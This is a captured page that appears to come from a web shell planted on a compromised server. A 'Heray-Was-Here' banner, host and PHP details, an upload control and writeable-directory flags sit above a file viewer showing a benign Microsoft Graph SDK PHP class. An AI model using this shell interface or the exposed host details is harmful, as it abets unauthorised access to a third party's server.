Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/erp/htdocs/includes/microsoft/microsoft-graph/src/Model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/erp/htdocs/includes/microsoft/microsoft-graph/src/Model/RequiredResourceAccess.php
<?php
/**
* Copyright (c) Microsoft Corporation.  All Rights Reserved.  Licensed under the MIT License.  See License in the project root for license information.
* 
* RequiredResourceAccess File
* PHP version 7
*
* @category  Library
* @package   Microsoft.Graph
* @copyright (c) Microsoft Corporation. All rights reserved.
* @license   https://opensource.org/licenses/MIT MIT License
* @link      https://graph.microsoft.com
*/
namespace Microsoft\Graph\Model;
/**
* RequiredResourceAccess class
*
* @category  Model
* @package   Microsoft.Graph
* @copyright (c) Microsoft Corporation. All rights reserved.
* @license   https://opensource.org/licenses/MIT MIT License
* @link      https://graph.microsoft.com
*/
class RequiredResourceAccess extends Entity
{

    /**
    * Gets the resourceAccess
    * The list of OAuth2.0 permission scopes and app roles that the application requires from the specified resource.
    *
    * @return ResourceAccess|null The resourceAccess
    */
    public function getResourceAccess()
    {
        if (array_key_exists("resourceAccess", $this->_propDict)) {
            if (is_a($this->_propDict["resourceAccess"], "\Microsoft\Graph\Model\ResourceAccess") || is_null($this->_propDict["resourceAccess"])) {
                return $this->_propDict["resourceAccess"];
            } else {
                $this->_propDict["resourceAccess"] = new ResourceAccess($this->_propDict["resourceAccess"]);
                return $this->_propDict["resourceAccess"];
            }
        }
        return null;
    }

    /**
    * Sets the resourceAccess
    * The list of OAuth2.0 permission scopes and app roles that the application requires from the specified resource.
    *
    * @param ResourceAccess $val The value to assign to the resourceAccess
    *
    * @return RequiredResourceAccess The RequiredResourceAccess
    */
    public function setResourceAccess($val)
    {
        $this->_propDict["resourceAccess"] = $val;
         return $this;
    }
    /**
    * Gets the resourceAppId
    * The unique identifier for the resource that the application requires access to. This should be equal to the appId declared on the target resource application.
    *
    * @return string|null The resourceAppId
    */
    public function getResourceAppId()
    {
        if (array_key_exists("resourceAppId", $this->_propDict)) {
            return $this->_propDict["resourceAppId"];
        } else {
            return null;
        }
    }

    /**
    * Sets the resourceAppId
    * The unique identifier for the resource that the application requires access to. This should be equal to the appId declared on the target resource application.
    *
    * @param string $val The value of the resourceAppId
    *
    * @return RequiredResourceAccess
    */
    public function setResourceAppId($val)
    {
        $this->_propDict["resourceAppId"] = $val;
        return $this;
    }
}

Hry